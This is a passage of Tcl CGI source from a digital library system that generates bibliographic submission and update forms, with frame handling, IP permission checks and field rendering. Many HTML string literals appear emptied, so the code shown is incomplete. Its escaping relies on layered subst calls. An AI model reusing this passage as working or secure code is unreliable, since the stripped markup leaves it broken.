if ![info exists cgi(frameinuse)] {set cgi(frameinuse) no} ;# when using search option (see displayControl.tcl) frameinuse is set to yes - frameinuse is not a user variable, is for internal use only - added by GJFB in 2020-06-24 - was above
# puts $cgi(frameinuse)
}
# puts --$cgi(targetframe)--
# Set target frame
# added by GJFB in 2020-06-24 - must be after CreateCGIArray
if $update {
# if ![info exists cgi(targetframe)] {set cgi(targetframe) _blank} ;# added by GJFB in 2020-08-24 - required when clicking the update button in the menu bar
if ![info exists cgi(targetframe)] {set cgi(targetframe) _self} ;# added by GJFB in 2021-07-27 - required when clicking the update button in the menu bar or the update +
} else {
ConditionalSet cgi(targetframe) display {} ;# added by GJFB in 2020-08-20 - used when opening a submission form
}
ConditionalSet targetFrame cgi(targetframe) {} ;# added by GJFB in 2020-06-24 - used in mirror/xxSubmit.tcl, xxSumit.html and xxUpdateSubmission.html to set the value of window.name of the bibliographic mirror displaying the search result
# if !$update {ConditionalSet cgi(targetframe) display {}} ;# added by GJFB in 2020-07-29 - used when opening a submission form - commented by GJFB in 2020-08-20 - must be before the previous line otherwise targetFrame is empty at submission and window.name in {search option for submit} is set to empty
if {[info exists searchOptionTable($referenceType)] && \
[string equal {yes} $searchOptionTable($referenceType)] && \
[string equal {yes} $cgi(frameinuse)]} {
# if ![info exists cgi(targetframe)] {set cgi(targetframe) _parent} ;# used in returnButton
set cgi(targetframe) _parent ;# used in returnButton
} elseif 0 {
# if ![info exists cgi(targetframe)] {set cgi(targetframe) _self} ;# used in returnButton
set cgi(targetframe) _self ;# used in returnButton
}
# Set target frame - end
# puts --$targetFrame--
# puts $cgi(targetframe)
if {[info exists cgi(returnaddress)] && ![string equal {} $cgi(returnaddress)]} {
if $update {
if [info exists cgi(lastupdate)] {
set metadataLastUpdate $localMetadataArray($metadataRep-0,metadatalastupdate)
regsub -all {\+} $cgi(lastupdate) { } metadataLastUpdate2 ;# as in Submit
# puts [list $metadataLastUpdate $metadataLastUpdate2]
if ![string equal [lindex $metadataLastUpdate 0] [lindex $metadataLastUpdate2 0]] {
# out-of-date search
puts [subst [subst ${out-of-date search}]]
return
}
}
}
}
# puts $cgi(frameinuse)
# puts [info exists cgi(returntype)]
# Search option
# if {[info exists searchOptionTable($referenceType)] && \
# [string equal {yes} $searchOptionTable($referenceType)] && \
# [string equal {no} $cgi(frameinuse)] && \
# ![info exists cgi(returntype)]} # ;# commented by GJFB in 2020-06-24
# if {[info exists searchOptionTable($referenceType)] && \
# [string equal {yes} $searchOptionTable($referenceType)] && \
# [string equal {no} $cgi(frameinuse)] && \
# (![info exists cgi(returntype)] || !$cgi(returntype))} # ;# added by GJFB in 2020-06-24 - when returning from Update Warning (the current update causes two or more repositories with the same citation key) returntype exists and is 0
if 0 {
# commented by GJFB in 2022-05-06 - now above
if {[info exists searchOptionTable($referenceType)] && \
[string equal {yes} $searchOptionTable($referenceType)] && \
[string equal {no} $cgi(frameinuse)] && \
(![info exists cgi(returntype)] || $cgi(returntype) < 2)} {
set searchOptionFlag 1
} else {
set searchOptionFlag 0
}
}
if $searchOptionFlag { ;# added by GJFB in 2020-07-27 - when returning from Save/Check returntype exists and is 1
# SEARCH OPTION must be created
# SEARCH OPTION - filling help green iframe containing the search option for form filling
# create iframe set
set frameHeight 32
if $update {
# update
set metadataList [Execute $serverAddressWithIP [list GetMetadata $metadataRep-*]]
array set localMetadataArray $metadataList
set repName $localMetadataArray($metadataRep-0,repository)
if ![file exists $homePath/col/$repName/service/userName] {
set header ${update header}
set returnButton [CreateReturnButton ../../../../col/$languageRep2/doc/mirror ../../../../col/$currentRep/doc/mirror.cgi/About $display $Cancel]
puts [subst [subst ${no user name for update}]]
return
}
set {search option} ${search option for update}
} else {
# submit
set {search option} ${search option for submit}
}
if 0 {
# commented by GJFB in 2020-07-14
# set queryString frameinuse=yes&$env(QUERY_STRING) ;# commented by GJFB in 2020-06-24
set queryString frameinuse=yes&targetframe=$targetFrame&$env(QUERY_STRING) ;# added by GJFB in 2020-06-24 - required to set the window.name value in xxSubmit.html and xxUpdateSumissiom.html
} else {
# added by GJFB in 2020-07-14 - required when returning from a duplicate submit/update warning, otherwise the form content changes are lost
set queryString {}
foreach {name value} [array get cgi] {
if [string equal {returnaddress} $name] {
set valueOfReturnAddress $value
continue
}
if [string equal {frameinuse} $name] {
continue
}
regsub -all {=} $value {%3D} value
regsub -all {&} $value {%26} value ;# added by GJFB in 2021-06-16 - required, for exemple, when color image is b&w - b&w value is lost after clicking Continue in the Update Warning page telling that the submitted file has an incorrect content type
regsub -all {\n} $value {%0A} value ;# required with Chrome
regsub -all {\r} $value {%0D} value ;# required with Chrome
lappend queryString $name=[string trim $value]
}
set queryString frameinuse=yes&[join $queryString &]&returnaddress=$valueOfReturnAddress
}
# puts {-} ;# uncomment to be able to access the code of the iframe that contains the page with two iframes for submit or update
# puts $queryString
# puts --$dipslay--
# puts --$targetFrame--
set output [subst ${search option}]
# puts OK ;# to see the source code of the frame set
puts $output ;# display the frame set
exit
}
# Search option - end
# changing return button default
# must be after the above CreateReturnButton
if ![info exists cgi(returnbutton)] {set cgi(returnbutton) {no}}
# attachment
# puts [info exists cgi(attachment)]
# puts [lindex $displayTable($referenceType,filename) 0]
if [regexp {0} [lindex $displayTable($referenceType,filename) 0]] {
if ![info exists cgi(attachment)] {set cgi(attachment) no}
}
if ![info exists cgi(attachment)] {set cgi(attachment) yes}
# puts $cgi(attachment)
# puts 3==$returnInfo
## puts [regexp {.\?} $returnInfo]
# if ![regexp {.\?} $returnInfo] # ;# commented by GJFB in 2019-04-30 - because of XSS injection returnInfo may contain the symbol (?)
if ![regexp {returnaddress} $returnInfo] { ;# added by GJFB in 2019-04-30
# doesn't contain return address
append returnInfo "&attachment=$cgi(attachment)"
append returnInfo "&returnbutton=$cgi(returnbutton)"
# returnaddress must be the last field in the returnInfo string because of the second ?
if {[info exists cgi(returnaddress)] && [string compare {} $cgi(returnaddress)] != 0} {
append returnInfo "&returnaddress=$cgi(returnaddress)"
if 0 {
if {[info exists cgi(username)] && [info exists cgi(session)]} {
append returnInfo "&username=$cgi(username)" ;# to maintain username
append returnInfo "&session=$cgi(session)" ;# to maintain session
}
}
}
}
# puts 4==$returnInfo
# puts [array get cgi]
# puts [info exists cgi(returnbutton)]
# if {[info exists cgi(returnbutton)] && \
# [string compare {no} $cgi(returnbutton)] == 0} {
### changing return button default
## if {[string compare {no} $cgi(returnbutton)] == 0}
# set cgi(targetframe) {""}
# }
# returnButton
# puts [info exists cgi(returnaddress)]
# puts
# puts [info exists cgi(returnbutton)]
# puts
# puts $display
# puts [array get cgi]
# if {([info exists cgi(returnaddress)] || !$update) && \
# (![info exists cgi(returnbutton)] || [string compare {no} $cgi(returnbutton)] != 0)}
# returnButton
if [string equal {yes} $cgi(returnbutton)] {
# add cancel button
# set cgi(returnaddress) $cgi(returnaddress)&hidesimilarbutton=$cgi(hidesimilarbutton) ;# commented by GJFB in 2023-11-16
set cgi(returnaddress) $cgi(returnaddress)&hidesimilarbutton=$cgi(hidesimilarbutton)&forcehistorybackflag=$cgi(forcehistorybackflag) ;# added by GJFB in 2023-11-16 - forcehistorybackflag added to get the green return button displayed
# puts $cgi(returnaddress)
set returnButton [CreateReturnButton http://$localSite/col/$languageRep2/doc/mirror {} $cgi(targetframe) $Cancel]
# set returnButton [CreateReturnButton http://$localSite/col/$languageRep2/doc/mirror {} $cgi(targetframe) $Cancel {} {} {} {} 1] ;# doesn't work, the browser returns a "page has expired" canceling update after a password error
} else {
set returnButton {}
}
# updateOption (used at submit and update)
if [string equal {} $cgi(updateoption)] {
ConditionalSet updateOption updateOptionTable($referenceType) {all}
} else {
set updateOption $cgi(updateoption)
}
# acceptCheckBoxFlag (used at submit)
ConditionalSet acceptCheckBoxFlag acceptCheckBoxFlagTable($referenceType) {1}
# submitButtonFlag
# value is 0 or 1, 0 means to display only one button and 1 two
set submitButtonFlag [expr [string equal {all} $updateOption] || [string equal {update {remove before update}} $updateOption]]
set buttonName1 ${Save/Check}
set buttonName2 ${Save/Exit}
set title1 ${Save the form and return to check its content and continue filling out}
set title2 ${Save the form and exit from it}
if $update {
# update
if [info exists cgi(_(_previousedition)] {
# ignore targetfile, documentstage and notes of the previous edition
if [info exists localMetadataArray($metadataRep-0,targetfile)] {unset localMetadataArray($metadataRep-0,targetfile)}
if [info exists localMetadataArray($metadataRep-0,documentstage)] {unset localMetadataArray($metadataRep-0,documentstage)}
if [info exists localMetadataArray($metadataRep-0,notes)] {unset localMetadataArray($metadataRep-0,notes)}
if [info exists documentStage] {unset documentStage}
}
# targetFile
# targetFileExtension
if [info exists localMetadataArray($metadataRep-0,targetfile)] {
set targetFile $localMetadataArray($metadataRep-0,targetfile)
set targetFileExtension [string trimleft [file extension $targetFile] .]
}
# ifConditionForRemoveBeforeUpdate
set buttonName ${Update}
if {$submitButtonFlag || [string equal {update finish} $updateOption]} {
# all or {update {remove before update}} or {update finish}
if [info exists depositOptionTable($referenceType)] {
array set depositOptionArray $depositOptionTable($referenceType)
}
ConditionalSet enableCopyToSource depositOptionArray(enablecopytosource) 0
# updateOptionList
set updateOptionList {Update} ;# 0
# lappend updateOptionList {Update Submission Agreement} ;# added by GJFB in 2010-12-05
if [string equal {Electronic Source} $referenceType] {
# set updateOptionList {Update}
lappend updateOptionList {Update source Directory} {Remove before Update source Directory}
set ifConditionForRemoveBeforeUpdate 0
} else {
if [string equal {update finish} $updateOption] {
set ifConditionForRemoveBeforeUpdate 0
} else {
lappend updateOptionList {Remove before Update} ;# 1
if [string equal {update {remove before update}} $updateOption] {
# update {remove before update}
set ifConditionForRemoveBeforeUpdate {document.update.userfile.value != "" && document.update.updatetype\\\\\\\[1\\\\\\\].selected}
} else {
if $enableCopyToSource {
# lappend updateOptionList {Update and don't Copy to Source} {Remove before Update and don't Copy to Source} {Remove before Update} Add {Add and Copy}
lappend updateOptionList {Update source Directory} {Remove before Update source Directory}
set ifConditionForRemoveBeforeUpdate {document.update.userfile.value != "" && (document.update.updatetype\\\\\\\[1\\\\\\\].selected || document.update.updatetype\\\\\\\[3\\\\\\\].selected || document.update.updatetype\\\\\\\[5\\\\\\\].selected)}
} else {
set ifConditionForRemoveBeforeUpdate {document.update.userfile.value != "" && (document.update.updatetype\\\\\\\[1\\\\\\\].selected || document.update.updatetype\\\\\\\[3\\\\\\\].selected)}
}
# lappend updateOptionList {Update agreement Directory} {Remove before Update agreement Directory} Add {Add and Copy}
# lappend updateOptionList {Move to source Directory before Update} {Update agreement Directory} {Remove before Update agreement Directory} Add {Add and Copy} ;# added by GJFB in 2016-05-10
lappend updateOptionList {Move to source Directory before Update} {Move back to doc Directory before Update} {Update agreement Directory} {Remove before Update agreement Directory} Add {Add and Copy} ;# added by GJFB in 2021-05-27
}
}
}
# if [TestContentType $repName {^Tcl Page$} $homePath] #
if {[info exists targetFile] && (([info exists targetFileExtension] && \
[regexp -nocase {tex} $targetFileExtension]) || \
[TestContentType $repName {^Tcl Page$|^Index$|^CGI Script$} $homePath])} {
# .tex target file or Tcl Page, Index, CGI Script
lappend updateOptionList {Run}
}
lappend updateOptionList {Update and Finish}
set updateMenu {}
append updateMenu "
"
regsub -all { } $updateOption {+} updateOption2
# append updateMenu " (?) " ;# similar code in Help - commented by GJFB in 2013-07-18
append updateMenu " (?) " ;# similar code in Help
} else {
# not all
set ifConditionForRemoveBeforeUpdate 0
set updateMenu "
"
}
} else {
# submit
if 0 {
if $submitButtonFlag {
# all
# update {remove before update}
set buttonName ${Submit} ;# for old customized pages (xxFillingInstruction.tcl)
# set buttonName1 ${Accept/Save/Check}
# set buttonName2 ${Accept/Save/Exit}
set buttonName1 ${Save/Check}
set buttonName2 ${Save/Exit}
} else {
# not all
set buttonName ${Submit}
}
}
set buttonName ${Submit}
}
# onClickCheck
# onClickExit
# onClickCheck2
# onClickExit2
# puts $restrictedSubmission
if {$restrictedSubmission || \
([info exists submissionPolicyTable($referenceType)] && $submissionPolicyTable($referenceType) == 1)} {
set restrictedSubmission2 1
} else {
set restrictedSubmission2 0
}
set onClickCheck "ONCLICK='ProcessSubmit(1, document.$submissionType.username.value, document.$submissionType.password1.value, $update, 1, $restrictedSubmission, 0, 1)'" ;# check - added by GJFB in 2020-11-12 - some submit form might be without login (e.g., ISMM 2007)
set onClickCheck2 "ONCLICK='ProcessSubmit(0, 0, 0, 0, 0, 0, 0, 1)'" ;# check
set onClickExit2 "ONCLICK='ProcessSubmit(0, 0, 0, 0, 0, 0, 0, 0)'" ;# exit
if {[info exists displayTable($referenceType,username)] && \
[lindex $displayTable($referenceType,username) 0] || \
$update} {
# set onClickCheck "ONCLICK='ProcessSubmit(1, document.$submissionType.username.value, document.$submissionType.password1.value, $update, 1, $restrictedSubmission, 0, 1)'" ;# check - commented by GJFB in 2020-11-12
# set onClickExit "ONCLICK='ProcessSubmit(1, document.$submissionType.username.value, document.$submissionType.password1.value, $update, 1, $restrictedSubmission, 0, 0)'" ;# exit
set onClickExit "ONCLICK='ProcessSubmit(1, document.$submissionType.username.value, document.$submissionType.password1.value, $update, 1, $restrictedSubmission2, 0, 0)'" ;# exit
} else {
# submission without login (e.g., SBSR)
set onClickExit $onClickExit2
}
if $submitButtonFlag {
set documentWriteToProcessKey "document.write (\" \")"
set documentWrite "document.write (\" \")"
} else {
# ID name must not be Submit - Submit is a reserved word for IE7/8
set documentWriteToProcessKey "document.write (\" \")"
set documentWrite "document.write (\" \")"
}
if [string equal {} $referenceType] {set referenceType Misc}
# fieldList
# {%@doi doi} {%F label} {%L callnumber}
set fieldList [Execute $serverAddressWithIP [list ReturnReferModel $referenceType]]
# puts $referenceType
# puts $fieldList
# puts $language
# Migration 25/1/04
# fileTypeWarning
if {[info exists contentTypeTable($referenceType)] && \
[info exists fileTypeWarningArray($referenceType)] && \
![string equal {} $contentTypeTable($referenceType)]} {
set contentTypeList [join $contentTypeTable($referenceType) ]
set fileTypeWarning $fileTypeWarningArray($referenceType)
} else {
set fileTypeWarning {}
}
# Migration 25/1/04 - end
# Security issue
if ![info exists permissionList] {set permissionList {}}
lappend permissionList $env(IP_ADDR)
lappend permissionList $env(REMOTE_ADDR) ;# added by GJFB in 2014-01-05 - using gerald in standalone mode IP_ADDR == 127.0.0.1 and REMOTE_ADDR == 192.168.0.11 - without this line on get a "forbidden update" message because found == 0
# puts --$permissionList--
set found [AllowedRemoteAddress $permissionList]
# puts $found
if {!$found && \
[lsearch -exact $permissionList {All Sites}] == -1 && \
[lsearch -exact $permissionList {All IPs}] == -1} {
# not found
if [info exists returnAddress] {set cgi(returnaddress) $returnAddress} ;# returnAddress may be defined in displayControl.tcl
if $update {
set header ${update header}
puts [subst [subst ${forbidden update}]]
} else {
set header ${submission header}
puts [subst [subst ${forbidden submission}]]
}
return
}
if [Execute $serverAddressWithIP Check-htpasswd] {
puts {htpasswd program not found}
return
}
if {!$update && [string equal {127.0.0.1} $env(REMOTE_ADDR)]} {
set header ${submission header}
puts [subst [subst ${disabled submission}]]
return
}
# Security issue - end
# Migration 25/1/04
# footnoteNumber
if [info exists initialFootnoteNumberTable($referenceType)] {
set footnoteNumber $initialFootnoteNumberTable($referenceType)
incr footnoteNumber -1
}
# Migration 25/1/04 - end
# Process review data
# append review fields to fieldList
if {[info exists optionTable2($referenceType,%@documentstage)] && [regexp {Closed Review} $optionTable2($referenceType,%@documentstage)]} {
if $update {
# update
if [file exists ../$col/$repName/doc/.reviewArray.tcl] {
# source ../$col/$repName/doc/.reviewArray.tcl
# array set reviewArray {iconet.com.br/banon/2004/06.13.00.36,avaliacao 1 iconet.com.br/banon/2004/06.13.00.36,clareza 3 iconet.com.br/banon/2004/06.13.00.36,relevancia 1 iconet.com.br/banon/2004/06.13.00.36,conclusiva 1 iconet.com.br/banon/2004/06.13.00.36,consistencia 1 iconet.com.br/banon/2004/06.13.00.36,qualidadegrafica 1 iconet.com.br/banon/2004/06.13.00.36,comentarioeditor {} iconet.com.br/banon/2004/06.13.00.36,comentarioautor {} iconet.com.br/banon/2004/06.13.00.36,aprovacao {} iconet.com.br/banon/2004/06.13.00.36,adequacao 1}
# array set reviewArray {iconet.com.br/banon/2006/11.01.23.55,commentsfortheauthors {} iconet.com.br/banon/2006/11.01.23.55,summaryofthepaper {} iconet.com.br/banon/2006/11.01.23.55,presentation {} iconet.com.br/banon/2006/11.01.23.55,recommendation {} iconet.com.br/banon/2006/11.01.23.55,technicalsoundness {} iconet.com.br/banon/2006/11.01.23.55,confidenceintheevaluation {} iconet.com.br/banon/2006/11.01.23.55,overallrating {} iconet.com.br/banon/2006/11.01.23.55,commentsfortheprogramcommitteeonly {} iconet.com.br/banon/2006/11.01.23.55,originality {} iconet.com.br/banon/2006/11.01.23.55,significance {}}
if [catch {source ../$col/$repName/doc/.reviewArray.tcl} error] {
puts "error in sourcing file <\;$env(DOCUMENT_ROOT)/col/$repName/doc/.reviewArray.tcl>\; :"
puts
puts $error
}
foreach index [lsort -command FieldCompare [array names reviewArray]] {
regsub {.*,} $index {} fieldName
lappend fieldList [list $fieldName $fieldName]
}
}
}
}
# Process review data - end
if $update {
# submissionDestination
# used when closing an ePrint
# current destination
set submissionDestination $env(SERVER_NAME):$env(SERVER_PORT)/col/$currentRep
if {[string equal {add} $updateOption] && [info exists cgi(_(_previousedition)]} {
# ePrint update like
# insert sourcesite - needed to return to the source form after an update error (e.g, unknown username)
regsub { +} $serverAddress {+} serverAddress2
regsub {\?} $returnInfo "?sourcesite=$serverAddress2\\&" returnInfo
set index [lindex [array names submissionDestinationTable $referenceType,*] 0]
if {[string compare {} $index] != 0} {
regsub "$referenceType," $index {} referFieldName ;# @area
set referFieldIndex [lsearch -regexp $fieldList $referFieldName]
set label [lindex [lindex $fieldList $referFieldIndex] 1] ;# area
array set submissionDestinationArray $submissionDestinationTable($index)
if [info exists localMetadataArray($metadataRep-0,$label)] {
set value $localMetadataArray($metadataRep-0,$label)
if [info exists submissionDestinationArray($value)] {
# new destination
set submissionDestination $submissionDestinationArray($value)
if [info exists cgi(_(_previousedition)] {
regsub {\?} $returnInfo {?testoutofdateform=no\&} returnInfo
}
}
}
}
}
}
set hiddenInputList {}
set requiredFieldList {}
# set requiredFieldAtCloseList {}
# puts [array names cgi]
# puts [array get cgi]
# puts
# puts $fieldList
## Put documentstage at the end
# set documentStageIndex [lsearch $fieldList {%@documentstage documentstage}]
# set fieldList [lreplace $fieldList $documentStageIndex $documentStageIndex]
# lappend fieldList {%@documentstage documentstage}
## Put documentstage at the end - end
# lappend fieldList {%@readpermission readpermission} ;# readpermission is part of the refer model - see fieldAttributeTable in utilitiesStart.tcl
# Create orderingFieldArray
# orderingFieldTable is set in displayCongtrol.tcl
if [info exists orderingFieldTable($referenceType)] {
set i 0
foreach fieldName $orderingFieldTable($referenceType) {
incr i
array set orderingFieldArray [list $fieldName $i]
}
}
# Create orderingFieldArray - end
set fillOutFieldCode {} ;# updated in CreateSelect
set numberOfCreatorFields 0 ;# could be any integer (the right value is computed later when needed)
# sourceFieldNameArray (needed in FindFieldValue)
if [info exists cgi(sourcereferencetype)] {
array set sourceFieldNameArray [join [Execute $serverAddressWithIP [list ReturnReferModel $cgi(sourcereferencetype)]]]
if [info exists excludedSourceFieldNameTable($referenceType)] {
foreach index $excludedSourceFieldNameTable($referenceType) {
if [info exists sourceFieldNameArray($index)] {unset sourceFieldNameArray($index)}
}
}
}
set orcidLineList {}
set electronicMailAddressLineList {}
set ifEMailAddressCondition {document.update.__e_mailaddress_e_mailaddress.value.match(eMailPattern) == null}
set onLoad { onLoad="Disable()"}
# ifListCreation (part of a JavaScript)
set lineList {}
# label
set labelFieldValue [FindFieldValue {_F_label} %F label $referenceType $update] ;# lattes: 4336175279058172 2 ChagasChanCors:2010:AnSãPa
set color1 #DCDCDC ;# used in xxSubmit.tcl independently of orderingFieldTable
if {![info exists orderingFieldTable($referenceType)] || [string equal {} $orderingFieldTable($referenceType)]} {
set color1 #DCDCDC
set color2 #EEEEEE
set color3 #ECDCDC
set color $color1
array set colorArray [list 1 $color1 2 $color2 3 $color1 4 $color3 5 $color1 6 $color2 7 $color3 - $color3]
source ../$col/$URLibServiceRepository/auxdoc/.fieldNameXareaArray.tcl ;# set fieldNameXareaArray
}
# FOREACH
# fieldList is based on the refer model
# puts $fieldList
foreach field [lsort -command CompareFieldName $fieldList] {
# puts $field
# field => %A author
set fieldName [lindex $field 0] ;# %A
set label [lindex $field 1] ;# author
regsub {e-mail} $label {e_mail} label2
if [info exists cgi(sourcereferencetype)] {
if [string equal {Electronic Source} $cgi(sourcereferencetype)] {
# Electronic Source
# closing ePrint
# Migration 2009-09-04
# documentstage is not used anymore for ePrint
# if below could be dropped in the future
if [regexp {^%@documentstage$} $fieldName] {
# drop the documentstage field
continue
}
# Migration 2009-09-04 - end
if [regexp {^%1$} $fieldName] {
# turn the %1 (stageofalternatepublication) field empty
if [info exists localMetadataArray($metadataRep-0,stageofalternatepublication)] {
unset localMetadataArray($metadataRep-0,stageofalternatepublication)
}
}
if [regexp {^%8$} $fieldName] {
# turn the %8 (lastupdatedate) field empty
if [info exists localMetadataArray($metadataRep-0,lastupdatedate)] {
unset localMetadataArray($metadataRep-0,lastupdatedate)
}
}
}
if [string equal {Conference Proceedings} $cgi(sourcereferencetype)] {
if [regexp {^%S$} $fieldName] {continue} ;# added by GJFB in 2021-01-12 - when transposing to Audiovisual Material the booktitle field should be excluded otherwise its BibINPE format would remain like the one use for Conference Proceedings
if [regexp {^%3$} $fieldName] {
# turn the %3 (targetfile) field empty
if [info exists localMetadataArray($metadataRep-0,targetfile)] {
unset localMetadataArray($metadataRep-0,targetfile)
}
}
}
}
# reshape field
regsub -all {%|@| |-} $field {_} field ;# for JavaScript compatibility - %A author -> _A_author
if [string equal {%A} $fieldName] {
# multiple creator fields
set creatorFieldName $field
lappend hiddenInputList " "
lappend hiddenInputList " "
lappend hiddenInputList " "
lappend hiddenInputList " "
lappend hiddenInputList " "
lappend hiddenInputList " "
lappend hiddenInputList " "
}
# value
set value [FindFieldValue $field $fieldName $label $referenceType $update]
# puts [list $fieldName = --$value--]
if {[string equal {%P} $fieldName] && [info exists cgi(sourcereferencetype)] && [string equal {Conference Proceedings} $cgi(sourcereferencetype)] && [string equal {Audiovisual Material} $referenceType]} {
set value {} ;# added by GJFB in 2021-01-13 otherwise Number of Transparencies inherits the value of Pages of a Conference Paper
}
if [info exists displayTable($referenceType,$fieldName)] {
foreach {translatedCustomizedFieldName translatedFootnoteReference} [Translate $fieldName $label $referenceType] {break}
if [string equal {%A} $fieldName] {
# creatorFieldName2 - used for electronicmailaddress JavaScript alert
set creatorFieldName2 $translatedCustomizedFieldName ;# ex: Author
}
# set fillInstruction [lindex $displayTable($referenceType,$fieldName) 1] ;# commented by GJFB in 2016-06-05
set displayValue [subst $displayTable($referenceType,$fieldName)] ;# added by GJFB in 2016-06-05 - subst added to solve a conditonal display of the mark field in Conference Proceeding form based on a list of supervisors (see SetFieldProperties) - subst is needed when using metaforms, e.g., when displayTable contains expression like: {[expr [lsearch -index 1 $supervisorList $userName] == -1?{[list 0 {} {} {}]}:{[list 3 {} {} {Recomendação do orientador}]}]}
set fillInstruction [lindex $displayValue 1] ;# added by GJFB in 2016-06-05
regsub {\[Help .*\]} $fillInstruction {} fillInstruction
set fillInstruction [subst $fillInstruction] ;# subst is to resolve: [expr $update?{}:{(*) }] (see administrator page script)
if {[regexp "$requiredFieldSymbol" $fillInstruction] || \
([info exists requiredFieldAtCloseSymbol] && \
[regexp "$requiredFieldAtCloseSymbol" $fillInstruction])} {
# required field
regsub {abstract} $label2 {abstract2} label2 ;# abstract is a reserved word for Netscape
# puts $label2
# puts $translatedCustomizedFieldName
if [regexp -nocase {(.*) } $translatedCustomizedFieldName m translatedCustomizedFieldName2] {
lappend rowList " "
} else {
regsub -all {<[^>]*>} $translatedCustomizedFieldName {} filteredTranslatedCustomizedFieldName ;# added by GJFB in 2016-06-06 - drop HTML tags
lappend rowList " "
}
lappend requiredFieldList $field
}
}
if [info exists displayTable($referenceType,$fieldName)] {
# fieldTypeNumber
# set fieldTypeNumber [subst [lindex $displayTable($referenceType,$fieldName) 0]] ;# subst is needed when using metaforms, e.g., when displayTable contains expression like: {[expr $update?{3}:{0}]} ;# commented by GJFB in 2016-06-05
set fieldTypeNumber [lindex $displayValue 0] ;# subst is needed when using metaforms, e.g., when displayTable contains expression like: {[expr $update?{3}:{0}]} ;# added by GJFB in 2016-06-05 - subst replaced to solve a conditonal display of the mark field in Conference Proceeding form based on a list of supervisors (see SetFieldProperties) - subst is needed when using metaforms, e.g., when displayTable contains expression like: {[expr [lsearch -index 1 $supervisorList $userName] == -1?{[list 0 {} {} {}]}:{[list 3 {} {} {Recomendação do orientador}]}]}
# archivingPolicy may exist since %@readpermission is after %@archivingpolicy (see col/dpi.inpe.br/banon/1999/08.08.19.14/doc/referTables.tcl)
if {[regexp {%@readpermission} $fieldName] && [info exists archivingPolicy] && ![string equal {} $archivingPolicy]} {
# read permission field and archiving policy is not empty
# hide the read permission field (read permission will be set automatically at the document next access, see Get- and Get)
set fieldTypeNumber 0 ;# force to 0
}
if {$update && ![string equal {External Contribution} $repositoryContentType] && [regexp {%@versiontype|%@archivingpolicy} $fieldName]} {
# update or not External Contribution or (version type or archiving policy field)
# hide the version and archiving policy type field
set fieldTypeNumber 0 ;# force to 0
}
if {![info exists orderingFieldTable($referenceType)] || [string equal {} $orderingFieldTable($referenceType)]} {
set areaNumber $fieldNameXareaArray($referenceType,$label)
set cellBgColor $colorArray($areaNumber)
}
if {$fieldTypeNumber == 0} {
# 0
# puts [list $fieldName = --$value--]
# if {![string equal {} $value] || [string equal {__e_mailaddress_e_mailaddress} $field]} # commented by GJFB in 2013-04-24 in order to the JavaScript FillOutField function working even for default empty value
# # of subst (n) # of \ 2^n \mu # of \ (2^n - 1) $x
# 1 2 \\mu 1 \$x
# 2 4 \\\\mu 3 \\\$x
# 3 8 \\\\\\\\mu 7 \\\\\\\$x
regsub -all {\\} $value {\\\\\\\\\\\\\\\\} value ;# \ -> \\\\\\\\ ($\mu$) - added by GJFB in 2012-04-09 - useful in abstract - # of \: 16 = 2 * 8 (for 3 subst)
regsub -all {\$} $value {\\\\\\\\\\\\\$} value ;# $ -> \\\\\\\$ ($w$-operator) - added by GJFB in 2012-04-09 - # of \: 13 = 2 * 7 - 1 (for 3 subst)
# target file (e.g., caoticas[1].pdf) - the two substitutions below are needed to avoid e.g., an invalid command name "1" when opening the form
# notes [CD-ROM]
# regsub -all {\[} $value {\\\\\\\[} value ;# commented by GJFB in 2011-02-09 - doesn't work with a field value like [CD-ROM]
# regsub -all {\]} $value {\\\\\\\]} value ;# commented by GJFB in 2011-02-09 - doesn't work with a field value like [CD-ROM]
regsub -all {\[} $value {\\\\\\\\\\\\\[} value ;# added by GJFB in 2011-02-09
regsub -all {\]} $value {\\\\\\\\\\\\\]} value ;# added by GJFB in 2011-02-09
# #
if {!$update && [string equal {__mirrorrepository_mirrorrepository} $field] && [string equal {} $value]} {
# mirror repository field at submit
# Add the current mirror repository value at submit
lappend hiddenInputList " "
} else {
if 0 {
# old code - default value should not be used to change a field value (here value of mirrorrepository) at update - it is a strange behaviour
if [string equal {__mirrorrepository_mirrorrepository} $field] {
# mirror repository field at update
# defaultValue
set defaultValue [subst [lindex $displayTable($referenceType,$fieldName) 2]] ;# subst is useful when using metaforms, e.g., when displayTable contains expression like: {[expr $update?{3}:{0}]}
if ![string equal {} $defaultValue] {
lappend hiddenInputList " " ;# force using non empty default value - added by GJFB in 2013-05-27 - used, for example, to return to the original mirror repository when just uploading file (see sid.inpe.br/mtc-m19/2013/05.22.12.17)
} else {
lappend hiddenInputList " "
}
} else {
lappend hiddenInputList " "
}
} else {
# new code by GJFB in 2014-02-20
lappend hiddenInputList " "
}
}
# #
# Migration 2006-05-14
# old collection may contain multiple e-mail addresses in the e-mail address field
if {[string equal {%@e-mailaddress} $fieldName] && $update} {
# %@e-mailaddress
set ifEMailAddressCondition {0} ;# don't check the e-mail address
}
# Migration 2006-05-14 - end
} elseif {[regexp {1.1} $fieldTypeNumber]} {
# 1.1
if ![string equal {} $value] {
if [regexp {^\n} $value] {
set value [string trim $value]
set value \n\n$value\n ;# the browsers don't display the first blank line, the trailing blank line is for easily filling one more author
} else {
set value [string trim $value]
set value $value\n ;# the trailing blank line is for easily filling one more author
}
}
set onBlur {} ;# disable onblur effect
# set valueArray($fieldName) $value ;# added by GJFB in 2013-10-12 (as in 2010-11-26) - together with the 3 backslashes below (\\\) solves square bracket in the contents field of Archival Unit
set valueArray($fieldName) [EscapeUntrustedData $value] ;# added by GJFB in 2019-04-30 - applies to field like nexthigherunit
if [regexp {^(__resumeid_resumeid|__orcid_orcid|__group_group|__affiliation_affiliation|__electronicmailaddress_electronicmailaddress)$} $field] {
lappend rowList "
${cellFont}$translatedCustomizedFieldName
${cellFont}$translatedFootnoteReference
"
} else {
lappend rowList "
${cellFont}$translatedCustomizedFieldName
${cellFont}$translatedFootnoteReference
"
}
} elseif {$fieldTypeNumber == 1.2} {
# 1.2
if ![string equal {} $value] {
if [regexp {^\n} $value] {
set value [string trim $value]
set value \n\n$value\n ;# the browsers don't display the first blank line
} else {
set value [string trim $value]
set value $value\n
}
}
if [regexp {%X|%K} $fieldName] {
set numberOfRows 8
} else {
set numberOfRows 4
}
if [regexp {%K} $fieldName] {
regsub -all {,\s*} [regsub {\.$} [string trimright $value] {}] \n value ;# added by GJFB in 2021-08-22 - one keyword per line
}
# puts --$value--
# set valueArray($fieldName) $value
set valueArray($fieldName) [EscapeUntrustedData $value] ;# added by GJFB in 2019-04-30 - applies to field like abstract
lappend rowList "
${cellFont}$translatedCustomizedFieldName
